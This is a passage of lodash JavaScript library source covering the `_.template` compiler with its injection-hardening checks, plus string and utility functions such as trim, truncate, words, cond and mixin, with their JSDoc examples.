     * // Use the `imports` option to import `jQuery` as `jq`.
     * var text = '<% jq.each(users, function(user) { %><li><%- user %></li><% }); %>';
     * var compiled = _.template(text, { 'imports': { 'jq': jQuery } });
     * compiled({ 'users': ['fred', 'barney'] });
     * // => '<li>fred</li><li>barney</li>'
     *
     * // Use the `sourceURL` option to specify a custom sourceURL for the template.
     * var compiled = _.template('hello <%= user %>!', { 'sourceURL': '/basic/greeting.jst' });
     * compiled(data);
     * // => Find the source of "greeting.jst" under the Sources tab or Resources panel of the web inspector.
     *
     * // Use the `variable` option to ensure a with-statement isn't used in the compiled template.
     * var compiled = _.template('hi <%= data.user %>!', { 'variable': 'data' });
     * compiled.source;
     * // => function(data) {
     * //   var __t, __p = '';
     * //   __p += 'hi ' + ((__t = ( data.user )) == null ? '' : __t) + '!';
     * //   return __p;
     * // }
     *
     * // Use custom template delimiters.
     * _.templateSettings.interpolate = /{{([\s\S]+?)}}/g;
     * var compiled = _.template('hello {{ user }}!');
     * compiled({ 'user': 'mustache' });
     * // => 'hello mustache!'
     *
     * // Use the `source` property to inline compiled templates for meaningful
     * // line numbers in error messages and stack traces.
     * fs.writeFileSync(path.join(process.cwd(), 'jst.js'), '\
     *   var JST = {\
     *     "main": ' + _.template(mainText).source + '\
     *   };\
     * ');
     */
    function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);

      var imports = assignInWith({}, options.imports, settings.imports, customDefaultsAssignIn),
          importsKeys = keys(imports),
          importsValues = baseValues(imports, importsKeys);

      var isEscaping,
          isEvaluating,
          index = 0,
          interpolate = options.interpolate || reNoMatch,
          source = "__p += '";

      // Compile the regexp to match each delimiter.
      var reDelimiters = RegExp(
        (options.escape || reNoMatch).source + '|' +
        interpolate.source + '|' +
        (interpolate === reInterpolate ? reEsTemplate : reNoMatch).source + '|' +
        (options.evaluate || reNoMatch).source + '|$'
      , 'g');

      // Use a sourceURL for easier debugging.
      // The sourceURL gets injected into the source that's eval-ed, so be careful
      // to normalize all kinds of whitespace, so e.g. newlines (and unicode versions of it) can't sneak in
      // and escape the comment, thus injecting code that gets evaled.
      var sourceURL = '//# sourceURL=' +
        (hasOwnProperty.call(options, 'sourceURL')
          ? (options.sourceURL + '').replace(/\s/g, ' ')
          : ('lodash.templateSources[' + (++templateCounter) + ']')
        ) + '\n';

      string.replace(reDelimiters, function(match, escapeValue, interpolateValue, esTemplateValue, evaluateValue, offset) {
        interpolateValue || (interpolateValue = esTemplateValue);

        // Escape characters that can't be included in string literals.
        source += string.slice(index, offset).replace(reUnescapedString, escapeStringChar);

        // Replace delimiters with snippets.
        if (escapeValue) {
          isEscaping = true;
          source += "' +\n__e(" + escapeValue + ") +\n'";
        }
        if (evaluateValue) {
          isEvaluating = true;
          source += "';\n" + evaluateValue + ";\n__p += '";
        }
        if (interpolateValue) {
          source += "' +\n((__t = (" + interpolateValue + ")) == null ? '' : __t) +\n'";
        }
        index = offset + match.length;

        // The JS engine embedded in Adobe products needs `match` returned in
        // order to produce the correct `offset` value.
        return match;
      });

      source += "';\n";

      // If `variable` is not specified wrap a with-statement around the generated
      // code to add the data object to the top of the scope chain.
      var variable = hasOwnProperty.call(options, 'variable') && options.variable;
      if (!variable) {
        source = 'with (obj) {\n' + source + '\n}\n';
      }
      // Throw an error if a forbidden character was found in `variable`, to prevent
      // potential command injection attacks.
      else if (reForbiddenIdentifierChars.test(variable)) {
        throw new Error(INVALID_TEMPL_VAR_ERROR_TEXT);
      }

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

      // Provide the compiled function's source by its `toString` method or
      // the `source` property as a convenience for inlining compiled templates.
      result.source = source;
      if (isError(result)) {
        throw result;
      }
      return result;
    }

    /**
     * Converts `string`, as a whole, to lower case just like
     * [String#toLowerCase](https://mdn.io/toLowerCase).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the lower cased string.
     * @example
     *
     * _.toLower('--Foo-Bar--');
     * // => '--foo-bar--'
     *
     * _.toLower('fooBar');
     * // => 'foobar'
     *
     * _.toLower('__FOO_BAR__');
     * // => '__foo_bar__'
     */
    function toLower(value) {
      return toString(value).toLowerCase();
    }

    /**
     * Converts `string`, as a whole, to upper case just like
     * [String#toUpperCase](https://mdn.io/toUpperCase).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the upper cased string.
     * @example
     *
     * _.toUpper('--foo-bar--');
     * // => '--FOO-BAR--'
     *
     * _.toUpper('fooBar');
     * // => 'FOOBAR'
     *
     * _.toUpper('__foo_bar__');
     * // => '__FOO_BAR__'
     */
    function toUpper(value) {
      return toString(value).toUpperCase();
    }

    /**
     * Removes leading and trailing whitespace or specified characters from `string`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to trim.
     * @param {string} [chars=whitespace] The characters to trim.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {string} Returns the trimmed string.
     * @example
     *
     * _.trim('  abc  ');
     * // => 'abc'
     *
     * _.trim('-_-abc-_-', '_-');
     * // => 'abc'
     *
     * _.map(['  foo  ', '  bar  '], _.trim);
     * // => ['foo', 'bar']
     */
    function trim(string, chars, guard) {
      string = toString(string);
      if (string && (guard || chars === undefined)) {
        return baseTrim(string);
      }
      if (!string || !(chars = baseToString(chars))) {
        return string;
      }
      var strSymbols = stringToArray(string),
          chrSymbols = stringToArray(chars),
          start = charsStartIndex(strSymbols, chrSymbols),
          end = charsEndIndex(strSymbols, chrSymbols) + 1;

      return castSlice(strSymbols, start, end).join('');
    }

    /**
     * Removes trailing whitespace or specified characters from `string`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to trim.
     * @param {string} [chars=whitespace] The characters to trim.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {string} Returns the trimmed string.
     * @example
     *
     * _.trimEnd('  abc  ');
     * // => '  abc'
     *
     * _.trimEnd('-_-abc-_-', '_-');
     * // => '-_-abc'
     */
    function trimEnd(string, chars, guard) {
      string = toString(string);
      if (string && (guard || chars === undefined)) {
        return string.slice(0, trimmedEndIndex(string) + 1);
      }
      if (!string || !(chars = baseToString(chars))) {
        return string;
      }
      var strSymbols = stringToArray(string),
          end = charsEndIndex(strSymbols, stringToArray(chars)) + 1;

      return castSlice(strSymbols, 0, end).join('');
    }

    /**
     * Removes leading whitespace or specified characters from `string`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to trim.
     * @param {string} [chars=whitespace] The characters to trim.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {string} Returns the trimmed string.
     * @example
     *
     * _.trimStart('  abc  ');
     * // => 'abc  '
     *
     * _.trimStart('-_-abc-_-', '_-');
     * // => 'abc-_-'
     */
    function trimStart(string, chars, guard) {
      string = toString(string);
      if (string && (guard || chars === undefined)) {
        return string.replace(reTrimStart, '');
      }
      if (!string || !(chars = baseToString(chars))) {
        return string;
      }
      var strSymbols = stringToArray(string),
          start = charsStartIndex(strSymbols, stringToArray(chars));

      return castSlice(strSymbols, start).join('');
    }

    /**
     * Truncates `string` if it's longer than the given maximum string length.
     * The last characters of the truncated string are replaced with the omission
     * string which defaults to "...".
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to truncate.
     * @param {Object} [options={}] The options object.
     * @param {number} [options.length=30] The maximum string length.
     * @param {string} [options.omission='...'] The string to indicate text is omitted.
     * @param {RegExp|string} [options.separator] The separator pattern to truncate to.
     * @returns {string} Returns the truncated string.
     * @example
     *
     * _.truncate('hi-diddly-ho there, neighborino');
     * // => 'hi-diddly-ho there, neighbo...'
     *
     * _.truncate('hi-diddly-ho there, neighborino', {
     *   'length': 24,
     *   'separator': ' '
     * });
     * // => 'hi-diddly-ho there,...'
     *
     * _.truncate('hi-diddly-ho there, neighborino', {
     *   'length': 24,
     *   'separator': /,? +/
     * });
     * // => 'hi-diddly-ho there...'
     *
     * _.truncate('hi-diddly-ho there, neighborino', {
     *   'omission': ' [...]'
     * });
     * // => 'hi-diddly-ho there, neig [...]'
     */
    function truncate(string, options) {
      var length = DEFAULT_TRUNC_LENGTH,
          omission = DEFAULT_TRUNC_OMISSION;

      if (isObject(options)) {
        var separator = 'separator' in options ? options.separator : separator;
        length = 'length' in options ? toInteger(options.length) : length;
        omission = 'omission' in options ? baseToString(options.omission) : omission;
      }
      string = toString(string);

      var strLength = string.length;
      if (hasUnicode(string)) {
        var strSymbols = stringToArray(string);
        strLength = strSymbols.length;
      }
      if (length >= strLength) {
        return string;
      }
      var end = length - stringSize(omission);
      if (end < 1) {
        return omission;
      }
      var result = strSymbols
        ? castSlice(strSymbols, 0, end).join('')
        : string.slice(0, end);

      if (separator === undefined) {
        return result + omission;
      }
      if (strSymbols) {
        end += (result.length - end);
      }
      if (isRegExp(separator)) {
        if (string.slice(end).search(separator)) {
          var match,
              substring = result;

          if (!separator.global) {
            separator = RegExp(separator.source, toString(reFlags.exec(separator)) + 'g');
          }
          separator.lastIndex = 0;
          while ((match = separator.exec(substring))) {
            var newEnd = match.index;
          }
          result = result.slice(0, newEnd === undefined ? end : newEnd);
        }
      } else if (string.indexOf(baseToString(separator), end) != end) {
        var index = result.lastIndexOf(separator);
        if (index > -1) {
          result = result.slice(0, index);
        }
      }
      return result + omission;
    }

    /**
     * The inverse of `_.escape`; this method converts the HTML entities
     * `&amp;`, `&lt;`, `&gt;`, `&quot;`, and `&#39;` in `string` to
     * their corresponding characters.
     *
     * **Note:** No other HTML entities are unescaped. To unescape additional
     * HTML entities use a third-party library like [_he_](https://mths.be/he).
     *
     * @static
     * @memberOf _
     * @since 0.6.0
     * @category String
     * @param {string} [string=''] The string to unescape.
     * @returns {string} Returns the unescaped string.
     * @example
     *
     * _.unescape('fred, barney, &amp; pebbles');
     * // => 'fred, barney, & pebbles'
     */
    function unescape(string) {
      string = toString(string);
      return (string && reHasEscapedHtml.test(string))
        ? string.replace(reEscapedHtml, unescapeHtmlChar)
        : string;
    }

    /**
     * Converts `string`, as space separated words, to upper case.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the upper cased string.
     * @example
     *
     * _.upperCase('--foo-bar');
     * // => 'FOO BAR'
     *
     * _.upperCase('fooBar');
     * // => 'FOO BAR'
     *
     * _.upperCase('__foo_bar__');
     * // => 'FOO BAR'
     */
    var upperCase = createCompounder(function(result, word, index) {
      return result + (index ? ' ' : '') + word.toUpperCase();
    });

    /**
     * Converts the first character of `string` to upper case.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the converted string.
     * @example
     *
     * _.upperFirst('fred');
     * // => 'Fred'
     *
     * _.upperFirst('FRED');
     * // => 'FRED'
     */
    var upperFirst = createCaseFirst('toUpperCase');

    /**
     * Splits `string` into an array of its words.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to inspect.
     * @param {RegExp|string} [pattern] The pattern to match words.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the words of `string`.
     * @example
     *
     * _.words('fred, barney, & pebbles');
     * // => ['fred', 'barney', 'pebbles']
     *
     * _.words('fred, barney, & pebbles', /[^, ]+/g);
     * // => ['fred', 'barney', '&', 'pebbles']
     */
    function words(string, pattern, guard) {
      string = toString(string);
      pattern = guard ? undefined : pattern;

      if (pattern === undefined) {
        return hasUnicodeWord(string) ? unicodeWords(string) : asciiWords(string);
      }
      return string.match(pattern) || [];
    }

    /*------------------------------------------------------------------------*/

    /**
     * Attempts to invoke `func`, returning either the result or the caught error
     * object. Any additional arguments are provided to `func` when it's invoked.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Util
     * @param {Function} func The function to attempt.
     * @param {...*} [args] The arguments to invoke `func` with.
     * @returns {*} Returns the `func` result or error object.
     * @example
     *
     * // Avoid throwing errors for invalid selectors.
     * var elements = _.attempt(function(selector) {
     *   return document.querySelectorAll(selector);
     * }, '>_>');
     *
     * if (_.isError(elements)) {
     *   elements = [];
     * }
     */
    var attempt = baseRest(function(func, args) {
      try {
        return apply(func, undefined, args);
      } catch (e) {
        return isError(e) ? e : new Error(e);
      }
    });

    /**
     * Binds methods of an object to the object itself, overwriting the existing
     * method.
     *
     * **Note:** This method doesn't set the "length" property of bound functions.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {Object} object The object to bind and assign the bound methods to.
     * @param {...(string|string[])} methodNames The object method names to bind.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var view = {
     *   'label': 'docs',
     *   'click': function() {
     *     console.log('clicked ' + this.label);
     *   }
     * };
     *
     * _.bindAll(view, ['click']);
     * jQuery(element).on('click', view.click);
     * // => Logs 'clicked docs' when clicked.
     */
    var bindAll = flatRest(function(object, methodNames) {
      arrayEach(methodNames, function(key) {
        key = toKey(key);
        baseAssignValue(object, key, bind(object[key], object));
      });
      return object;
    });

    /**
     * Creates a function that iterates over `pairs` and invokes the corresponding
     * function of the first predicate to return truthy. The predicate-function
     * pairs are invoked with the `this` binding and arguments of the created
     * function.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {Array} pairs The predicate-function pairs.
     * @returns {Function} Returns the new composite function.
     * @example
     *
     * var func = _.cond([
     *   [_.matches({ 'a': 1 }),           _.constant('matches A')],
     *   [_.conforms({ 'b': _.isNumber }), _.constant('matches B')],
     *   [_.stubTrue,                      _.constant('no match')]
     * ]);
     *
     * func({ 'a': 1, 'b': 2 });
     * // => 'matches A'
     *
     * func({ 'a': 0, 'b': 1 });
     * // => 'matches B'
     *
     * func({ 'a': '1', 'b': '2' });
     * // => 'no match'
     */
    function cond(pairs) {
      var length = pairs == null ? 0 : pairs.length,
          toIteratee = getIteratee();

      pairs = !length ? [] : arrayMap(pairs, function(pair) {
        if (typeof pair[1] != 'function') {
          throw new TypeError(FUNC_ERROR_TEXT);
        }
        return [toIteratee(pair[0]), pair[1]];
      });

      return baseRest(function(args) {
        var index = -1;
        while (++index < length) {
          var pair = pairs[index];
          if (apply(pair[0], this, args)) {
            return apply(pair[1], this, args);
          }
        }
      });
    }

    /**
     * Creates a function that invokes the predicate properties of `source` with
     * the corresponding property values of a given object, returning `true` if
     * all predicates return truthy, else `false`.
     *
     * **Note:** The created function is equivalent to `_.conformsTo` with
     * `source` partially applied.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {Object} source The object of property predicates to conform to.
     * @returns {Function} Returns the new spec function.
     * @example
     *
     * var objects = [
     *   { 'a': 2, 'b': 1 },
     *   { 'a': 1, 'b': 2 }
     * ];
     *
     * _.filter(objects, _.conforms({ 'b': function(n) { return n > 1; } }));
     * // => [{ 'a': 1, 'b': 2 }]
     */
    function conforms(source) {
      return baseConforms(baseClone(source, CLONE_DEEP_FLAG));
    }

    /**
     * Creates a function that returns `value`.
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Util
     * @param {*} value The value to return from the new function.
     * @returns {Function} Returns the new constant function.
     * @example
     *
     * var objects = _.times(2, _.constant({ 'a': 1 }));
     *
     * console.log(objects);
     * // => [{ 'a': 1 }, { 'a': 1 }]
     *
     * console.log(objects[0] === objects[1]);
     * // => true
     */
    function constant(value) {
      return function() {
        return value;
      };
    }

    /**
     * Checks `value` to determine whether a default value should be returned in
     * its place. The `defaultValue` is returned if `value` is `NaN`, `null`,
     * or `undefined`.
     *
     * @static
     * @memberOf _
     * @since 4.14.0
     * @category Util
     * @param {*} value The value to check.
     * @param {*} defaultValue The default value.
     * @returns {*} Returns the resolved value.
     * @example
     *
     * _.defaultTo(1, 10);
     * // => 1
     *
     * _.defaultTo(undefined, 10);
     * // => 10
     */
    function defaultTo(value, defaultValue) {
      return (value == null || value !== value) ? defaultValue : value;
    }

    /**
     * Creates a function that returns the result of invoking the given functions
     * with the `this` binding of the created function, where each successive
     * invocation is supplied the return value of the previous.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Util
     * @param {...(Function|Function[])} [funcs] The functions to invoke.
     * @returns {Function} Returns the new composite function.
     * @see _.flowRight
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var addSquare = _.flow([_.add, square]);
     * addSquare(1, 2);
     * // => 9
     */
    var flow = createFlow();

    /**
     * This method is like `_.flow` except that it creates a function that
     * invokes the given functions from right to left.
     *
     * @static
     * @since 3.0.0
     * @memberOf _
     * @category Util
     * @param {...(Function|Function[])} [funcs] The functions to invoke.
     * @returns {Function} Returns the new composite function.
     * @see _.flow
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var addSquare = _.flowRight([square, _.add]);
     * addSquare(1, 2);
     * // => 9
     */
    var flowRight = createFlow(true);

    /**
     * This method returns the first argument it receives.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {*} value Any value.
     * @returns {*} Returns `value`.
     * @example
     *
     * var object = { 'a': 1 };
     *
     * console.log(_.identity(object) === object);
     * // => true
     */
    function identity(value) {
      return value;
    }

    /**
     * Creates a function that invokes `func` with the arguments of the created
     * function. If `func` is a property name, the created function returns the
     * property value for a given element. If `func` is an array or object, the
     * created function returns `true` for elements that contain the equivalent
     * source properties, otherwise it returns `false`.
     *
     * @static
     * @since 4.0.0
     * @memberOf _
     * @category Util
     * @param {*} [func=_.identity] The value to convert to a callback.
     * @returns {Function} Returns the callback.
     * @example
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36, 'active': true },
     *   { 'user': 'fred',   'age': 40, 'active': false }
     * ];
     *
     * // The `_.matches` iteratee shorthand.
     * _.filter(users, _.iteratee({ 'user': 'barney', 'active': true }));
     * // => [{ 'user': 'barney', 'age': 36, 'active': true }]
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.filter(users, _.iteratee(['user', 'fred']));
     * // => [{ 'user': 'fred', 'age': 40 }]
     *
     * // The `_.property` iteratee shorthand.
     * _.map(users, _.iteratee('user'));
     * // => ['barney', 'fred']
     *
     * // Create custom iteratee shorthands.
     * _.iteratee = _.wrap(_.iteratee, function(iteratee, func) {
     *   return !_.isRegExp(func) ? iteratee(func) : function(string) {
     *     return func.test(string);
     *   };
     * });
     *
     * _.filter(['abc', 'def'], /ef/);
     * // => ['def']
     */
    function iteratee(func) {
      return baseIteratee(typeof func == 'function' ? func : baseClone(func, CLONE_DEEP_FLAG));
    }

    /**
     * Creates a function that performs a partial deep comparison between a given
     * object and `source`, returning `true` if the given object has equivalent
     * property values, else `false`.
     *
     * **Note:** The created function is equivalent to `_.isMatch` with `source`
     * partially applied.
     *
     * Partial comparisons will match empty array and empty object `source`
     * values against any array or object value, respectively. See `_.isEqual`
     * for a list of supported value comparisons.
     *
     * **Note:** Multiple values can be checked by combining several matchers
     * using `_.overSome`
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Util
     * @param {Object} source The object of property values to match.
     * @returns {Function} Returns the new spec function.
     * @example
     *
     * var objects = [
     *   { 'a': 1, 'b': 2, 'c': 3 },
     *   { 'a': 4, 'b': 5, 'c': 6 }
     * ];
     *
     * _.filter(objects, _.matches({ 'a': 4, 'c': 6 }));
     * // => [{ 'a': 4, 'b': 5, 'c': 6 }]
     *
     * // Checking for several possible values
     * _.filter(objects, _.overSome([_.matches({ 'a': 1 }), _.matches({ 'a': 4 })]));
     * // => [{ 'a': 1, 'b': 2, 'c': 3 }, { 'a': 4, 'b': 5, 'c': 6 }]
     */
    function matches(source) {
      return baseMatches(baseClone(source, CLONE_DEEP_FLAG));
    }

    /**
     * Creates a function that performs a partial deep comparison between the
     * value at `path` of a given object to `srcValue`, returning `true` if the
     * object value is equivalent, else `false`.
     *
     * **Note:** Partial comparisons will match empty array and empty object
     * `srcValue` values against any array or object value, respectively. See
     * `_.isEqual` for a list of supported value comparisons.
     *
     * **Note:** Multiple values can be checked by combining several matchers
     * using `_.overSome`
     *
     * @static
     * @memberOf _
     * @since 3.2.0
     * @category Util
     * @param {Array|string} path The path of the property to get.
     * @param {*} srcValue The value to match.
     * @returns {Function} Returns the new spec function.
     * @example
     *
     * var objects = [
     *   { 'a': 1, 'b': 2, 'c': 3 },
     *   { 'a': 4, 'b': 5, 'c': 6 }
     * ];
     *
     * _.find(objects, _.matchesProperty('a', 4));
     * // => { 'a': 4, 'b': 5, 'c': 6 }
     *
     * // Checking for several possible values
     * _.filter(objects, _.overSome([_.matchesProperty('a', 1), _.matchesProperty('a', 4)]));
     * // => [{ 'a': 1, 'b': 2, 'c': 3 }, { 'a': 4, 'b': 5, 'c': 6 }]
     */
    function matchesProperty(path, srcValue) {
      return baseMatchesProperty(path, baseClone(srcValue, CLONE_DEEP_FLAG));
    }

    /**
     * Creates a function that invokes the method at `path` of a given object.
     * Any additional arguments are provided to the invoked method.
     *
     * @static
     * @memberOf _
     * @since 3.7.0
     * @category Util
     * @param {Array|string} path The path of the method to invoke.
     * @param {...*} [args] The arguments to invoke the method with.
     * @returns {Function} Returns the new invoker function.
     * @example
     *
     * var objects = [
     *   { 'a': { 'b': _.constant(2) } },
     *   { 'a': { 'b': _.constant(1) } }
     * ];
     *
     * _.map(objects, _.method('a.b'));
     * // => [2, 1]
     *
     * _.map(objects, _.method(['a', 'b']));
     * // => [2, 1]
     */
    var method = baseRest(function(path, args) {
      return function(object) {
        return baseInvoke(object, path, args);
      };
    });

    /**
     * The opposite of `_.method`; this method creates a function that invokes
     * the method at a given path of `object`. Any additional arguments are
     * provided to the invoked method.
     *
     * @static
     * @memberOf _
     * @since 3.7.0
     * @category Util
     * @param {Object} object The object to query.
     * @param {...*} [args] The arguments to invoke the method with.
     * @returns {Function} Returns the new invoker function.
     * @example
     *
     * var array = _.times(3, _.constant),
     *     object = { 'a': array, 'b': array, 'c': array };
     *
     * _.map(['a[2]', 'c[0]'], _.methodOf(object));
     * // => [2, 0]
     *
     * _.map([['a', '2'], ['c', '0']], _.methodOf(object));
     * // => [2, 0]
     */
    var methodOf = baseRest(function(object, args) {
      return function(path) {
        return baseInvoke(object, path, args);
      };
    });

    /**
     * Adds all own enumerable string keyed function properties of a source
     * object to the destination object. If `object` is a function, then methods
     * are added to its prototype as well.
     *
     * **Note:** Use `_.runInContext` to create a pristine `lodash` function to
     * avoid conflicts caused by modifying the original.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {Function|Object} [object=lodash] The destination object.
     * @param {Object} source The object of functions to add.
     * @param {Object} [options={}] The options object.
     * @param {boolean} [options.chain=true] Specify whether mixins are chainable.
     * @returns {Function|Object} Returns `object`.
     * @example
     *
     * function vowels(string) {
     *   return _.filter(string, function(v) {
     *     return /[aeiou]/i.test(v);
     *   });
     * }
     *
     * _.mixin({ 'vowels': vowels });
     * _.vowels('fred');
     * // => ['e']
     *
     * _('fred').vowels().value();
     * // => ['e']
     *
     * _.mixin({ 'vowels': vowels }, { 'chain': false });
     * _('fred').vowels();
     * // => ['e']
     */
    function mixin(object, source, options) {
      var props = keys(source),
          methodNames = baseFunctions(source, props);

      if (options == null &&
          !(isObject(source) && (methodNames.length || !props.length))) {
        options = source;
        source = object;
        object = this;
        methodNames = baseFunctions(source, keys(source));
      }
      var chain = !(isObject(options) && 'chain' in options) || !!options.chain,
          isFunc = isFunction(object);

      arrayEach(methodNames, function(methodName) {
        var func = source[methodName];
        object[methodName] = func;
        if (isFunc) {
          object.prototype[methodName] = function() {
            var chainAll = this.__chain__;
            if (chain || chainAll) {
              var result = object(this.__wrapped__),
                  actions = result.__actions__ = copyArray(this.__actions__);

              actions.push({ 'func': func, 'args': arguments, 'thisArg': object });
              result.__chain__ = chainAll;
              return result;
            }
            return func.apply(object, arrayPush([this.value()], arguments));
          };
        }
      });

      return object;
    }

    /**
     * Reverts the `_` variable to its previous value and returns a reference to
     * the `lodash` function.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @returns {Function} Returns the `lodash` function.
     * @example
     *
     * var lodash = _.noConflict();
     */
    function noConflict() {
      if (root._ === this) {
        root._ = oldDash;
      }
      return this;
    }

    /**
     * This method returns `undefined`.
     *
     * @static
     * @memberOf _
     * @since 2.3.0
     * @category Util
     * @example
     *
     * _.times(2, _.noop);
     * // => [undefined, undefined]
     */
    function noop() {
      // No operation performed.
    }

    /**
     * Creates a function that gets the argument at index `n`. If `n` is negative,
     * the nth argument from the end is returned.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {number} [n=0] The index of the argument to return.
     * @returns {Function} Returns the new pass-thru function.
     * @example
     *
     * var func = _.nthArg(1);
     * func('a', 'b', 'c', 'd');
     * // => 'b'
     *
     * var func = _.nthArg(-2);
     * func('a', 'b', 'c', 'd');
     * // => 'c'
     */
    function nthArg(n) {
      n = toInteger(n);
      return baseRest(function(args) {
        return baseNth(args, n);
      });
    }

    /**
     * Creates a function that invokes `iteratees` with the arguments it receives
     * and returns their results.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {...(Function|Function[])} [iteratees=[_.identity]]
     *  The iteratees to invoke.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var func = _.over([Math.max, Math.min]);
     *
     * func(1, 2, 3, 4);
     * // => [4, 1]
     */
    var over = createOver(arrayMap);

    /**
     * Creates a function that checks if **all** of the `predicates` return
     * truthy when invoked with the arguments it receives.
     *
     * Following shorthands are possible for providing predicates.
     * Pass an `Object` and it will be used as an parameter for `_.matches` to create the predicate.
     * Pass an `Array` of parameters for `_.matchesProperty` and the predicate will be created using them.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {...(Function|Function[])} [predicates=[_.identity]]
     *  The predicates to check.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var func = _.overEvery([Boolean, isFinite]);
     *
     * func('1');
     * // => true
     *
     * func(null);
     * // => false
     *
     * func(NaN);
     * // => false
     */
    var overEvery = createOver(arrayEvery);

    /**
     * Creates a function that checks if **any** of the `predicates` return
     * truthy when invoked with the arguments it receives.
     *
     * Following shorthands are possible for providing predicates.
     * Pass an `Object` and it will be used as an parameter for `_.matches` to create the predicate.
     * Pass an `Array` of parameters for `_.matchesProperty` and the predicate will be created using them.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {...(Function|Function[])} [predicates=[_.identity]]
     *  The predicates to check.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var func = _.overSome([Boolean, isFinite]);
     *
     * func('1');
     * // => true
     *
     * func(null);
     * // => true
     *
     * func(NaN);
     * // => false
     *
     * var matchesFunc = _.overSome([{ 'a': 1 }, { 'a': 2 }])
     * var matchesPropertyFunc = _.overSome([['a', 1], ['a', 2]])
     */
    var overSome = createOver(arraySome);

    /**
     * Creates a function that returns the value at `path` of a given object.
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Util
     * @param {Array|string} path The path of the property to get.
     * @returns {Function} Returns the new accessor function.
     * @example
     *
     * var objects = [
     *   { 'a': { 'b': 2 } },
     *   { 'a': { 'b': 1 } }
     * ];
     *
     * _.map(objects, _.property('a.b'));
     * // => [2, 1]
     *
     * _.map(_.sortBy(objects, _.property(['a', 'b'])), 'a.b');
     * // => [1, 2]
     */
    function property(path) {
      return isKey(path) ? baseProperty(toKey(path)) : basePropertyDeep(path);
    }

    /**
     * The opposite of `_.property`; this method creates a function that returns
     * the value at a given path of `object`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Util
     * @param {Object} object The object to query.
     * @returns {Function} Returns the new accessor function.
     * @example
     *
     * var array = [0, 1, 2],
     *     object = { 'a': array, 'b': array, 'c': array };
     *
     * _.map(['a[2]', 'c[0]'], _.propertyOf(object));
     * // => [2, 0]
     *
     * _.map([['a', '2'], ['c', '0']], _.propertyOf(object));
     * // => [2, 0]
     */
    function propertyOf(object) {
      return function(path) {
        return object == null ? undefined : baseGet(object, path);
      };
    }

    /**
     * Creates an array of numbers (positive and/or negative) progressing from
     * `start` up to, but not including, `end`. A step of `-1` is used if a negative
     * `start` is specified without an `end` or `step`. If `end` is not specified,
     * it's set to `start` with `start` then set to `0`.
     *
     * **Note:** JavaScript follows the IEEE-754 standard for resolving
     * floating-point values which can produce unexpected results.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {number} [start=0] The start of the range.
     * @param {number} end The end of the range.
     * @param {number} [step=1] The value to increment or decrement by.
     * @returns {Array} Returns the range of numbers.
     * @see _.inRange, _.rangeRight
     * @example
     *
